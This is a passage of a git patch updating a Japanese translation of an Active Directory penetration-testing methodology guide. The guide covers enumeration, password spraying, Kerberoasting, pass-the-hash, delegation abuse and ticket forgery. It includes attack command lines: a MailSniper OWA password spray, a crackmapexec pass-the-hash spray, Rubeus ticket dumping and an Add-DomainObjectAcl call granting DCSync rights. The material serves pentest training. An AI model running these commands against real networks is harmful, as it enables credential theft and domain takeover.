From 363820417f4a920988c94bd5110cf406b1d2d0ed Mon Sep 17 00:00:00 2001 From: Translator Date: Thu, 17 Jul 2025 18:14:30 +0000 Subject: [PATCH] Translated ['src/windows-hardening/active-directory-methodology/README.m --- src/SUMMARY.md | 1 + .../active-directory-methodology/README.md | 198 +++++++++--------- .../golden-dmsa-gmsa.md | 113 ++++++++++ 3 files changed, 216 insertions(+), 96 deletions(-) create mode 100644 src/windows-hardening/active-directory-methodology/golden-dmsa-gmsa.md diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 9ab45b360..596676a81 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -268,6 +268,7 @@ - [DSRM Credentials](windows-hardening/active-directory-methodology/dsrm-credentials.md) - [External Forest Domain - OneWay (Inbound) or bidirectional](windows-hardening/active-directory-methodology/external-forest-domain-oneway-inbound.md) - [External Forest Domain - One-Way (Outbound)](windows-hardening/active-directory-methodology/external-forest-domain-one-way-outbound.md) + - [Golden Dmsa Gmsa](windows-hardening/active-directory-methodology/golden-dmsa-gmsa.md) - [Golden Ticket](windows-hardening/active-directory-methodology/golden-ticket.md) - [Kerberoast](windows-hardening/active-directory-methodology/kerberoast.md) - [Kerberos Authentication](windows-hardening/active-directory-methodology/kerberos-authentication.md) diff --git a/src/windows-hardening/active-directory-methodology/README.md b/src/windows-hardening/active-directory-methodology/README.md index 2805e0a60..33d92f1d1 100644 --- a/src/windows-hardening/active-directory-methodology/README.md +++ b/src/windows-hardening/active-directory-methodology/README.md @@ -4,7 +4,7 @@ ## 基本概要 -**Active Directory**は、**ネットワーク管理者**がネットワーク内で**ドメイン**、**ユーザー**、および**オブジェクト**を効率的に作成および管理できる基盤技術として機能します。これはスケーラブルに設計されており、膨大な数のユーザーを管理可能な**グループ**および**サブグループ**に整理し、さまざまなレベルで**アクセス権**を制御します。 +**Active Directory**は、**ネットワーク管理者**が**ドメイン**、**ユーザー**、および**オブジェクト**を効率的に作成および管理できる基盤技術として機能します。これはスケーラブルに設計されており、膨大な数のユーザーを管理可能な**グループ**および**サブグループ**に整理し、さまざまなレベルで**アクセス権**を制御します。 **Active Directory**の構造は、**ドメイン**、**ツリー**、および**フォレスト**の3つの主要な層で構成されています。**ドメイン**は、共通のデータベースを共有する**ユーザー**や**デバイス**などのオブジェクトのコレクションを含みます。**ツリー**は、共有構造によってリンクされたこれらのドメインのグループであり、**フォレスト**は、相互に**信頼関係**を持つ複数のツリーのコレクションを表し、組織構造の最上層を形成します。特定の**アクセス**および**通信権**は、これらの各レベルで指定できます。 @@ -16,14 +16,14 @@ 4. **ツリー** – 共通のルートドメインを共有するドメインのグループです。 5. **フォレスト** – Active Directoryにおける組織構造の頂点であり、**信頼関係**を持ついくつかのツリーで構成されています。 -**Active Directory Domain Services (AD DS)**は、ネットワーク内での集中管理および通信に不可欠な一連のサービスを含みます。これらのサービスは以下を含みます: +**Active Directory Domain Services (AD DS)**は、ネットワーク内の集中管理および通信に不可欠な一連のサービスを含みます。これらのサービスは以下を含みます: 1. **ドメインサービス** – データストレージを集中化し、**ユーザー**と**ドメイン**間の相互作用を管理し、**認証**および**検索**機能を含みます。 2. **証明書サービス** – 安全な**デジタル証明書**の作成、配布、および管理を監督します。 3. **軽量ディレクトリサービス** – **LDAPプロトコル**を通じてディレクトリ対応アプリケーションをサポートします。 4. **ディレクトリフェデレーションサービス** – 複数のWebアプリケーションでユーザーを認証するための**シングルサインオン**機能を提供します。 -5. **権利管理** – 著作権資料を保護するために、その無許可の配布および使用を規制します。 -6. **DNSサービス** – **ドメイン名**の解決に不可欠です。 +5. **権利管理** – 著作権資料を保護し、その無断配布および使用を規制するのを支援します。 +6. **DNSサービス** – **ドメイン名**の解決に重要です。 詳細な説明については、[**TechTerms - Active Directory Definition**](https://techterms.com/definition/active_directory)を確認してください。 @@ -44,7 +44,7 @@ AD環境にアクセスできるが、クレデンシャル/セッションがない場合は、次のことができます: - **ネットワークのペンテスト:** -- ネットワークをスキャンし、マシンとオープンポートを見つけ、そこから**脆弱性を悪用**したり、**クレデンシャルを抽出**したりします(例えば、[プリンターは非常に興味深いターゲットになる可能性があります](ad-information-in-printers.md))。 +- ネットワークをスキャンし、マシンとオープンポートを見つけ、**脆弱性を悪用**したり、そこから**クレデンシャルを抽出**したりします(例えば、[プリンターは非常に興味深いターゲットになる可能性があります](ad-information-in-printers.md))。 - DNSを列挙することで、ドメイン内の主要なサーバーに関する情報を得ることができます。ウェブ、プリンター、共有、VPN、メディアなど。 - `gobuster dns -d domain.local -t 25 -w /opt/Seclist/Discovery/DNS/subdomain-top2000.txt` - 一般的な[**ペンテスト手法**](../../generic-methodologies-and-resources/pentesting-methodology.md)を確認して、これを行う方法に関する詳細情報を見つけてください。 @@ -69,10 +69,10 @@ AD環境にアクセスできるが、クレデンシャル/セッションが - **ネットワークを毒する** - [**Responderを使用してサービスを偽装してクレデンシャルを収集**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) - [**リレー攻撃を悪用してホストにアクセス**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) -- [**偽のUPnPサービスを公開してクレデンシャルを収集**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856) +- [**悪意のあるUPnPサービスを公開してクレデンシャルを収集**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856) - [**OSINT**](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/index.html): - 内部文書、ソーシャルメディア、サービス(主にウェブ)からユーザー名/名前を抽出し、公開されている情報からも収集します。 -- 会社の従業員の完全な名前が見つかった場合、さまざまなADの**ユーザー名の慣習**を試すことができます(**[これを読む](https://activedirectorypro.com/active-directory-user-naming-convention/)**)。最も一般的な慣習は:_NameSurname_、_Name.Surname_、_NamSur_(各3文字)、_Nam.Sur_、_NSurname_、_N.Surname_、_SurnameName_、_Surname.Name_、_SurnameN_、_Surname.N_、3つの_ランダムな文字と3つのランダムな数字_(abc123)です。 +- 会社の従業員の完全な名前が見つかった場合、さまざまなAD **ユーザー名の規則**を試すことができます(**[これを読む](https://activedirectorypro.com/active-directory-user-naming-convention/)**)。最も一般的な規則は:_NameSurname_、_Name.Surname_、_NamSur_(各3文字)、_Nam.Sur_、_NSurname_、_N.Surname_、_SurnameName_、_Surname.Name_、_SurnameN_、_Surname.N_、3 _ランダムな文字と3つのランダムな数字_(abc123)です。 - ツール: - [w0Tx/generate-ad-username](https://github.com/w0Tx/generate-ad-username) - [urbanadventurer/username-anarchy](https://github.com/urbanadventurer/username-anarchy) @@ -95,7 +95,7 @@ python3 nauth.py -t target -u users_file.txt #From https://github.com/sud0Ru/Nau ``` - **OWA (Outlook Web Access) サーバー** -ネットワーク内にこれらのサーバーの1つを見つけた場合、**ユーザー列挙を実行する**こともできます。たとえば、ツール[**MailSniper**](https://github.com/dafthack/MailSniper)を使用できます: +ネットワーク内にこれらのサーバーの1つを見つけた場合、**ユーザー列挙を実行することもできます**。例えば、ツール[**MailSniper**](https://github.com/dafthack/MailSniper)を使用することができます: ```bash ipmo C:\Tools\MailSniper\MailSniper.ps1 # Get info about the domain @@ -108,23 +108,23 @@ Invoke-PasswordSprayOWA -ExchHostname [ip] -UserList .\valid.txt -Password Summe Get-GlobalAddressList -ExchHostname [ip] -UserName [domain]\[username] -Password Summer2021 -OutFile gal.txt ``` > [!WARNING] -> ユーザー名のリストは[**このgithubリポジトリ**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names)やこのリポジトリ([**統計的に可能性のあるユーザー名**](https://github.com/insidetrust/statistically-likely-usernames))で見つけることができます。 +> ユーザー名のリストは[**このgithubリポ**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names)やこのリポ([**統計的に可能性の高いユーザー名**](https://github.com/insidetrust/statistically-likely-usernames))で見つけることができます。 > > ただし、事前に実施したリコンステップから**会社で働いている人々の名前**を持っている必要があります。名前と姓があれば、スクリプト[**namemash.py**](https://gist.github.com/superkojiman/11076951)を使用して、潜在的な有効なユーザー名を生成できます。 ### 1つまたは複数のユーザー名を知っている場合 -さて、有効なユーザー名がすでにあるがパスワードがない場合... 次のことを試してください: +さて、有効なユーザー名はすでに知っているが、パスワードはない... それなら試してみてください: - [**ASREPRoast**](asreproast.md): ユーザーが**_DONT_REQ_PREAUTH_**属性を持っていない場合、そのユーザーのために**AS_REPメッセージを要求**でき、そのメッセージにはユーザーのパスワードの派生によって暗号化されたデータが含まれます。 -- [**Password Spraying**](password-spraying.md): 発見した各ユーザーに対して最も**一般的なパスワード**を試してみましょう。もしかしたら、あるユーザーが悪いパスワードを使用しているかもしれません(パスワードポリシーに注意してください!)。 +- [**パスワードスプレー**](password-spraying.md): 発見した各ユーザーに対して最も**一般的なパスワード**を試してみましょう。もしかしたら、あるユーザーが悪いパスワードを使用しているかもしれません(パスワードポリシーに注意してください!)。 - OWAサーバーを**スプレー**して、ユーザーのメールサーバーにアクセスを試みることもできます。 {{#ref}} password-spraying.md {{#endref}} -### LLMNR/NBT-NS ポイズニング +### LLMNR/NBT-NSポイズニング ネットワークの**プロトコルをポイズニング**することで、いくつかのチャレンジ**ハッシュ**を**取得**できるかもしれません: @@ -132,11 +132,11 @@ password-spraying.md ../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md {{#endref}} -### NTLM リレー +### NTLMリレー アクティブディレクトリを列挙できた場合、**より多くのメールとネットワークの理解が得られます**。NTLMの[**リレー攻撃**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)を強制してAD環境にアクセスできるかもしれません。 -### NTLM クレデンシャルの盗難 +### NTLMクレデンシャルの盗難 **nullまたはゲストユーザー**で他のPCや共有に**アクセス**できる場合、**ファイルを配置**(SCFファイルなど)して、何らかの形でアクセスされると**NTLM認証をトリガー**し、**NTLMチャレンジを盗む**ことができます: @@ -146,7 +146,7 @@ password-spraying.md ## 認証情報/セッションを使用したアクティブディレクトリの列挙 -このフェーズでは、**有効なドメインアカウントの認証情報またはセッションを侵害している必要があります。** 有効な認証情報またはドメインユーザーとしてのシェルがある場合、**前に示したオプションは他のユーザーを侵害するためのオプションとして依然として有効です**。 +このフェーズでは、**有効なドメインアカウントの認証情報またはセッションを侵害している必要があります。** 有効な認証情報やドメインユーザーとしてのシェルがある場合、**前に示したオプションは他のユーザーを侵害するためのオプションとして依然として有効です**。 認証された列挙を開始する前に、**Kerberosダブルホップ問題**が何であるかを知っておく必要があります。 @@ -156,27 +156,27 @@ kerberos-double-hop-problem.md ### 列挙 -アカウントを侵害することは、**ドメイン全体を侵害するための大きなステップ**です。なぜなら、**アクティブディレクトリの列挙を開始できるからです**: +アカウントを侵害することは、**ドメイン全体を侵害するための大きなステップ**です。なぜなら、**アクティブディレクトリの列挙**を開始できるからです: -[**ASREPRoast**](asreproast.md)に関しては、今やすべての脆弱なユーザーを見つけることができ、[**Password Spraying**](password-spraying.md)に関しては、**すべてのユーザー名のリスト**を取得し、侵害されたアカウントのパスワード、空のパスワード、新しい有望なパスワードを試すことができます。 +[**ASREPRoast**](asreproast.md)に関しては、今やすべての可能な脆弱なユーザーを見つけることができ、[**パスワードスプレー**](password-spraying.md)に関しては、**すべてのユーザー名のリスト**を取得し、侵害されたアカウントのパスワード、空のパスワード、新しい有望なパスワードを試すことができます。 - [**CMDを使用して基本的なリコンを実行**](../basic-cmd-for-pentesters.md#domain-info)できます。 - [**リコンのためにPowerShellを使用**](../basic-powershell-for-pentesters/index.html)することもでき、よりステルス性があります。 - より詳細な情報を抽出するために[**PowerViewを使用**](../basic-powershell-for-pentesters/powerview.md)することもできます。 - アクティブディレクトリのリコンにおいてもう1つの素晴らしいツールは[**BloodHound**](bloodhound.md)です。これは**あまりステルス性がありません**(使用する収集方法によります)が、**それを気にしないのであれば**、ぜひ試してみるべきです。ユーザーがRDPできる場所を見つけたり、他のグループへのパスを見つけたりします。 -- **他の自動化されたAD列挙ツールは:** [**AD Explorer**](bloodhound.md#ad-explorer)**、** [**ADRecon**](bloodhound.md#adrecon)**、** [**Group3r**](bloodhound.md#group3r)**、** [**PingCastle**](bloodhound.md#pingcastle)**です。** +- **他の自動化されたAD列挙ツールは:** [**AD Explorer**](bloodhound.md#ad-explorer)**、** [**ADRecon**](bloodhound.md#adrecon)**、** [**Group3r**](bloodhound.md#group3r)**、** [**PingCastle**](bloodhound.md#pingcastle)**。** - [**ADのDNSレコード**](ad-dns-records.md)は、興味深い情報を含んでいるかもしれません。 - ディレクトリを列挙するために使用できる**GUIツール**は、**SysInternal**スイートの**AdExplorer.exe**です。 -- **ldapsearch**を使用してLDAPデータベースを検索し、_userPassword_および_unixUserPassword_フィールド、または_Description_を探すことができます。cf. [PayloadsAllTheThingsのADユーザーコメントのパスワード](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment)で他の方法を確認してください。 +- **ldapsearch**を使用してLDAPデータベースを検索し、_userPassword_および_unixUserPassword_フィールドや、_Description_を探して認証情報を探すこともできます。cf. [PayloadsAllTheThingsのADユーザーコメントのパスワード](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment)で他の方法を確認してください。 - **Linux**を使用している場合、[**pywerview**](https://github.com/the-useless-one/pywerview)を使用してドメインを列挙することもできます。 -- 自動化ツールを試すこともできます: +- 自動化ツールとしても試すことができます: - [**tomcarver16/ADSearch**](https://github.com/tomcarver16/ADSearch) - [**61106960/adPEAS**](https://github.com/61106960/adPEAS) -- **すべてのドメインユーザーを抽出する** +- **すべてのドメインユーザーの抽出** Windowsからすべてのドメインユーザー名を取得するのは非常に簡単です(`net user /domain`、`Get-DomainUser`または`wmic useraccount get name,sid`)。Linuxでは、次のように使用できます:`GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username`または`enum4linux -a -u "user" -p "password" `。 -> この列挙セクションは小さく見えるかもしれませんが、これはすべての中で最も重要な部分です。リンク(特にcmd、powershell、powerview、BloodHoundのリンク)にアクセスし、ドメインを列挙する方法を学び、快適に感じるまで練習してください。評価中、これはDAへの道を見つけるための重要な瞬間になるか、何もできないと判断する瞬間になります。 +> この列挙セクションは小さく見えるかもしれませんが、これはすべての中で最も重要な部分です。リンク(主にcmd、powershell、powerview、BloodHoundのもの)にアクセスし、ドメインを列挙する方法を学び、快適に感じるまで練習してください。評価中、これはDAへの道を見つけるための重要な瞬間か、何もできないと決定する瞬間になります。 ### Kerberoast @@ -194,13 +194,13 @@ kerberoast.md ### ローカル特権昇格 -通常のドメインユーザーとしての認証情報またはセッションを侵害し、**ドメイン内の任意のマシンにこのユーザーでアクセス**できる場合、**ローカルで特権を昇格させ、認証情報を探す**方法を見つけるべきです。これは、ローカル管理者権限がないと、他のユーザーのハッシュをメモリ(LSASS)やローカル(SAM)で**ダンプ**できないためです。 +通常のドメインユーザーとしての認証情報またはセッションを侵害し、**ドメイン内の任意のマシンにこのユーザーでアクセス**できる場合、**ローカルで特権を昇格させ、認証情報を探す**方法を見つけるべきです。これは、ローカル管理者権限を持っている場合にのみ、他のユーザーのハッシュをメモリ(LSASS)およびローカル(SAM)で**ダンプ**できるからです。 この本には、[**Windowsにおけるローカル特権昇格**](../windows-local-privilege-escalation/index.html)に関する完全なページと[**チェックリスト**](../checklist-windows-privilege-escalation.md)があります。また、[**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)を使用することを忘れないでください。 ### 現在のセッションチケット -**予期しないリソースにアクセスする権限を与える**チケットを現在のユーザーで見つけることは非常に**可能性が低い**ですが、確認することができます: +現在のユーザーに**予期しないリソースへのアクセスを許可する**チケットが見つかる可能性は非常に**低い**ですが、確認することができます: ```bash ## List all tickets (if not admin, only current user tickets) .\Rubeus.exe triage @@ -210,17 +210,17 @@ kerberoast.md ``` ### NTLM Relay -Active Directoryを列挙できた場合、**より多くのメールとネットワークの理解が得られます**。NTLM [**リレー攻撃**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)**を強制することができるかもしれません。** +もしあなたがアクティブディレクトリを列挙することに成功したなら、**より多くのメールとネットワークの理解を得ることができるでしょう**。あなたはNTLM [**リレー攻撃**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)**を強制することができるかもしれません。** ### コンピュータ共有内のクレデンシャルを探す | SMB共有 -基本的なクレデンシャルを持っているので、**AD内で共有されている興味深いファイルを見つける**ことができるか確認するべきです。手動で行うこともできますが、非常に退屈で繰り返しの作業です(特に確認する必要のある数百のドキュメントを見つけた場合はなおさらです)。 +基本的なクレデンシャルを持っているので、**AD内で共有されている興味深いファイルを見つけることができるか確認するべきです**。手動で行うこともできますが、それは非常に退屈で繰り返しの作業です(特にチェックする必要のある数百のドキュメントを見つけた場合はなおさらです)。 [**使用できるツールについて学ぶにはこのリンクをフォローしてください。**](../../network-services-pentesting/pentesting-smb/index.html#domain-shared-folders-search) ### NTLMクレデンシャルを盗む -他のPCや共有に**アクセスできる**場合、**ファイル**(SCFファイルなど)を**配置する**ことができ、何らかの形でアクセスされると、**あなたに対してNTLM認証をトリガー**するので、**NTLMチャレンジを盗む**ことができます: +他のPCや共有に**アクセスできる場合**、**ファイルを配置することができます**(SCFファイルのような)。それにアクセスされると、**あなたに対してNTLM認証をトリガーする**ので、**NTLMチャレンジを盗む**ことができます: {{#ref}} ../ntlm/places-to-steal-ntlm-creds.md @@ -228,39 +228,39 @@ Active Directoryを列挙できた場合、**より多くのメールとネッ ### CVE-2021-1675/CVE-2021-34527 PrintNightmare -この脆弱性により、認証された任意のユーザーが**ドメインコントローラーを侵害**することができました。 +この脆弱性により、認証された任意のユーザーが**ドメインコントローラーを侵害する**ことができました。 {{#ref}} printnightmare.md {{#endref}} -## 特権のあるクレデンシャル/セッションを使用したActive Directoryの特権昇格 +## 特権のあるクレデンシャル/セッションを使用したActive Directoryでの特権昇格 **以下の技術には、通常のドメインユーザーでは不十分で、これらの攻撃を実行するために特別な特権/クレデンシャルが必要です。** ### ハッシュ抽出 -幸運にも、[AsRepRoast](asreproast.md)、[Password Spraying](password-spraying.md)、[Kerberoast](kerberoast.md)、[Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)を含むリレー、[EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)、[ローカルでの特権昇格](../windows-local-privilege-escalation/index.html)を使用して、**ローカル管理者**アカウントを**侵害**できたことを願っています。\ +幸運にも、[AsRepRoast](asreproast.md)、[Password Spraying](password-spraying.md)、[Kerberoast](kerberoast.md)、[Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)を含むリレー、[EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)、[ローカルでの特権昇格](../windows-local-privilege-escalation/index.html)を使用して、**いくつかのローカル管理者アカウントを侵害することに成功したことを願っています**。\ 次に、メモリとローカルのすべてのハッシュをダンプする時です。\ -[**ハッシュを取得するさまざまな方法についてこのページをお読みください。**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md) +[**ハッシュを取得するためのさまざまな方法についてこのページを読んでください。**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md) -### パス・ザ・ハッシュ +### ハッシュを渡す -**ユーザーのハッシュを取得したら、**それを使用して**なりすます**ことができます。\ -その**ハッシュ**を使用して**NTLM認証を実行する**ツールを使用する必要があります。**または**、新しい**sessionlogon**を作成し、その**ハッシュ**を**LSASS**内に**注入**することができます。これにより、**NTLM認証が実行されると、その**ハッシュが使用されます。**最後のオプションはmimikatzが行うことです。\ -[**詳細についてはこのページをお読みください。**](../ntlm/index.html#pass-the-hash) +**ユーザーのハッシュを持っている場合**、それを使用して**そのユーザーを偽装**することができます。\ +その**ハッシュ**を使用して**NTLM認証を実行する**ツールを使用する必要があります。**または**、新しい**sessionlogon**を作成し、その**ハッシュ**を**LSASS**内に**注入**することができます。そうすれば、任意の**NTLM認証が実行されると、その**ハッシュが使用されます。**最後のオプションはmimikatzが行うことです。\ +[**詳細についてはこのページを読んでください。**](../ntlm/index.html#pass-the-hash) -### オーバーパス・ザ・ハッシュ/パス・ザ・キー +### ハッシュを越えて/キーを渡す -この攻撃は、**ユーザーのNTLMハッシュを使用してKerberosチケットを要求する**ことを目的としています。これは、一般的なNTLMプロトコルを介したパス・ザ・ハッシュの代替手段です。したがって、これは特に**NTLMプロトコルが無効**で、**Kerberosのみが認証プロトコルとして許可されているネットワーク**で**役立つ**可能性があります。 +この攻撃は、**ユーザーのNTLMハッシュを使用してKerberosチケットを要求する**ことを目的としています。これは、一般的なNTLMプロトコルを介したハッシュのパスの代替手段です。したがって、これは特に**NTLMプロトコルが無効になっているネットワーク**で、**Kerberosのみが認証プロトコルとして許可されている**場合に**特に有用です**。 {{#ref}} over-pass-the-hash-pass-the-key.md {{#endref}} -### パス・ザ・チケット +### チケットを渡す -**パス・ザ・チケット(PTT)**攻撃手法では、攻撃者は**ユーザーの認証チケットを盗む**代わりに、パスワードやハッシュ値を盗みます。この盗まれたチケットは、その後**ユーザーになりすます**ために使用され、ネットワーク内のリソースやサービスへの不正アクセスを得ることができます。 +**チケットを渡す(PTT)**攻撃手法では、攻撃者は**ユーザーの認証チケットを盗む**代わりに、そのパスワードやハッシュ値を盗みます。この盗まれたチケットは、その後**ユーザーを偽装する**ために使用され、ネットワーク内のリソースやサービスへの不正アクセスを得ることができます。 {{#ref}} pass-the-ticket.md @@ -268,19 +268,19 @@ pass-the-ticket.md ### クレデンシャルの再利用 -**ローカル管理者**の**ハッシュ**または**パスワード**を持っている場合は、それを使用して他の**PCにローカルでログイン**してみるべきです。 +**ローカル管理者のハッシュ**または**パスワード**を持っている場合は、それを使用して他の**PCにローカルでログイン**しようとするべきです。 ```bash # Local Auth Spray (once you found some local admin pass or hash) ## --local-auth flag indicate to only try 1 time per machine crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep + ``` > [!WARNING] -> 注意してください、これは非常に**騒がしい**ものであり、**LAPS**が**軽減**します。 +> 注意してください、これは非常に**騒がしい**ものであり、**LAPS**がこれを**軽減**します。 ### MSSQLの悪用と信頼されたリンク ユーザーが**MSSQLインスタンスにアクセスする権限**を持っている場合、MSSQLホストで**コマンドを実行**したり(SAとして実行されている場合)、NetNTLMの**ハッシュ**を**盗む**ことができたり、**リレー攻撃**を行うことができるかもしれません。\ -また、MSSQLインスタンスが別のMSSQLインスタンスによって信頼されている場合(データベースリンク)。ユーザーが信頼されたデータベースに対する権限を持っている場合、**信頼関係を利用して他のインスタンスでもクエリを実行することができます**。これらの信頼は連鎖することができ、ユーザーはコマンドを実行できる誤設定されたデータベースを見つけることができるかもしれません。\ +また、MSSQLインスタンスが別のMSSQLインスタンスによって信頼されている場合(データベースリンク)。ユーザーが信頼されたデータベースに対する権限を持っている場合、**信頼関係を利用して他のインスタンスでもクエリを実行することができます**。これらの信頼は連鎖することができ、ユーザーはコマンドを実行できる誤って構成されたデータベースを見つけることができるかもしれません。\ **データベース間のリンクは、フォレストの信頼を越えても機能します。** {{#ref}} @@ -291,7 +291,7 @@ abusing-ad-mssql.md [ADS_UF_TRUSTED_FOR_DELEGATION]()属性を持つコンピュータオブジェクトを見つけ、コンピュータにドメイン権限がある場合、コンピュータにログインするすべてのユーザーのメモリからTGTをダンプすることができます。\ したがって、**ドメイン管理者がコンピュータにログインすると**、そのTGTをダンプして[Pass the Ticket](pass-the-ticket.md)を使用して彼を偽装することができます。\ -制約のある委任のおかげで、**プリントサーバーを自動的に侵害する**ことさえ可能です(できればDCであることを願っています)。 +制約のある委任のおかげで、**プリントサーバーを自動的に侵害する**ことさえ可能です(希望的にはDCになるでしょう)。 {{#ref}} unconstrained-delegation.md @@ -324,7 +324,7 @@ acl-persistence-abuse/ ### プリンタースプーラーサービスの悪用 -ドメイン内で**スプールサービスがリスニング**していることを発見することは、**新しい資格情報を取得**し、**権限を昇格**させるために**悪用**される可能性があります。 +ドメイン内で**スプールサービスがリッスンしている**ことを発見することは、**新しい資格情報を取得**し、**権限を昇格**させるために**悪用**される可能性があります。 {{#ref}} printers-spooler-service-abuse.md @@ -357,7 +357,7 @@ ad-certificates/certificate-theft.md ### 証明書テンプレートの悪用 -**脆弱なテンプレート**が設定されている場合、それを悪用して権限を昇格させることが可能です: +**脆弱なテンプレート**が構成されている場合、それを悪用して権限を昇格させることが可能です: {{#ref}} ad-certificates/domain-escalation.md @@ -373,9 +373,9 @@ ad-certificates/domain-escalation.md [**NTDS.ditを盗む方法に関する詳細情報はここにあります**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md) -### 権限昇格としての持続性 +### 永続性としての権限昇格 -前述のいくつかの技術は持続性のために使用できます。\ +前述のいくつかの技術は、永続性のために使用できます。\ 例えば、次のことができます: - ユーザーを[**Kerberoast**](kerberoast.md)に対して脆弱にする @@ -398,7 +398,7 @@ Add-DomainObjectAcl -TargetIdentity "DC=SUB,DC=DOMAIN,DC=LOCAL" -PrincipalIdenti ### シルバーチケット -**シルバーチケット攻撃**は、特定のサービスのために**正当なチケット授与サービス(TGS)チケット**を**NTLMハッシュ**を使用して作成します(例えば、**PCアカウントのハッシュ**)。この方法は、**サービス権限にアクセスするため**に使用されます。 +**シルバーチケット攻撃**は、特定のサービスのために**正当なチケットグラントサービス(TGS)チケット**を**NTLMハッシュ**を使用して作成します(例えば、**PCアカウントのハッシュ**)。この方法は、**サービス権限にアクセスするために使用されます**。 {{#ref}} silver-ticket.md @@ -406,7 +406,7 @@ silver-ticket.md ### ゴールデンチケット -**ゴールデンチケット攻撃**は、攻撃者がActive Directory(AD)環境内の**krbtgtアカウントのNTLMハッシュ**にアクセスすることを含みます。このアカウントは特別で、すべての**チケット授与チケット(TGT)**に署名するために使用され、ADネットワーク内での認証に不可欠です。 +**ゴールデンチケット攻撃**は、攻撃者がActive Directory(AD)環境内の**krbtgtアカウントのNTLMハッシュ**にアクセスすることを含みます。このアカウントは特別で、すべての**チケットグラントチケット(TGT)**に署名するために使用され、ADネットワーク内での認証に不可欠です。 攻撃者がこのハッシュを取得すると、任意のアカウントの**TGT**を作成することができます(シルバーチケット攻撃)。 @@ -416,23 +416,23 @@ golden-ticket.md ### ダイヤモンドチケット -これらは、**一般的なゴールデンチケットの検出メカニズムを回避する**方法で偽造されたゴールデンチケットのようなものです。 +これらは、**一般的なゴールデンチケットの検出メカニズムを回避する方法で偽造されたゴールデンチケットのようなものです。** {{#ref}} diamond-ticket.md {{#endref}} -### **証明書アカウントの持続性** +### **証明書アカウントの永続性** -**アカウントの証明書を持っているか、要求できること**は、ユーザーアカウントに持続するための非常に良い方法です(たとえ彼がパスワードを変更しても): +**アカウントの証明書を持っているか、それを要求できること**は、ユーザーアカウントに永続するための非常に良い方法です(たとえ彼がパスワードを変更しても): {{#ref}} ad-certificates/account-persistence.md {{#endref}} -### **証明書ドメインの持続性** +### **証明書ドメインの永続性** -**証明書を使用することは、ドメイン内で高権限を持続することも可能です:** +**証明書を使用することは、ドメイン内で高権限を持って永続することも可能です:** {{#ref}} ad-certificates/domain-persistence.md @@ -440,21 +440,21 @@ ad-certificates/domain-persistence.md ### AdminSDHolderグループ -Active Directory内の**AdminSDHolder**オブジェクトは、**特権グループ**(ドメイン管理者やエンタープライズ管理者など)のセキュリティを確保するために、これらのグループ全体に標準の**アクセス制御リスト(ACL)**を適用して、無許可の変更を防ぎます。しかし、この機能は悪用される可能性があります。攻撃者がAdminSDHolderのACLを変更して通常のユーザーに完全なアクセスを与えると、そのユーザーはすべての特権グループに対して広範な制御を得ることになります。このセキュリティ対策は保護を目的としていますが、厳重に監視されない限り、無許可のアクセスを許すことになります。 +Active Directory内の**AdminSDHolder**オブジェクトは、**特権グループ**(ドメイン管理者やエンタープライズ管理者など)のセキュリティを確保するために、これらのグループ全体に標準の**アクセス制御リスト(ACL)**を適用し、無許可の変更を防ぎます。しかし、この機能は悪用される可能性があります。攻撃者がAdminSDHolderのACLを変更して通常のユーザーに完全なアクセスを与えると、そのユーザーはすべての特権グループに対して広範な制御を得ることになります。このセキュリティ対策は保護を目的としていますが、厳重に監視されない限り、不当なアクセスを許すことになります。 [**AdminDSHolderグループに関する詳細情報はここにあります。**](privileged-groups-and-token-privileges.md#adminsdholder-group) ### DSRM資格情報 -すべての**ドメインコントローラー(DC)**内には、**ローカル管理者**アカウントが存在します。このようなマシンで管理者権限を取得することで、**mimikatz**を使用してローカル管理者のハッシュを抽出できます。その後、このパスワードを**使用可能にするためのレジストリ変更**が必要で、ローカル管理者アカウントへのリモートアクセスを可能にします。 